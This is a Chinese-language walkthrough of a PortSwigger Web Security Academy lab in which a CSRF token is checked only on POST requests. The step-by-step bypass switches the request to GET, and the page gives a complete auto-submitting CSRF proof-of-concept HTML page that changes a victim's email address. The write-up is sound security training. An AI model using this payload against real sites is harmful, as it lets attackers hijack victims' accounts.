从业者-CSRF-令牌验证取决于请求方法
# 实验室:CSRF-令牌验证取决于请求方法
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击,但只对某些类型的请求应用防御。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-令牌验证取决于请求方法 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。
捕获的请求数据包如下。
删除csrf
参数中的一个字符,响应内容返回提示信息 “CSRF令牌错误”。
说明更改邮箱时,必须携带正确的 CSRF token,这使得我们无法构造 CSRF PoC。
右键数据包,选择 “Change request method” 更改请求方法。
从 POST 转变为 GET 方法,此时再次携带错误的 token 发送请求,发现没有提示 “CSRF令牌错误”。
甚至将整个 csrf 参数删掉也可以。
说明在使用 GET 方法时,服务端不会验证 csrf 参数。
同样的,使用 Burp 的辅助工具生成一个 CSRF PoC,点击 “Copy HTML” 复制它。
访问漏洞利用服务器,将 PoC 粘贴到 “Body” 一栏,点击 “Store” 保存。
别忘了修改 PoC 中的邮件地址,防止冲突。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<受攻击的域>/my-account/change-email">
<input type="hidden" name="email" value="x@y.z" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
保存成功之后,再点击 “Deliver exploit to victim” 将其发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。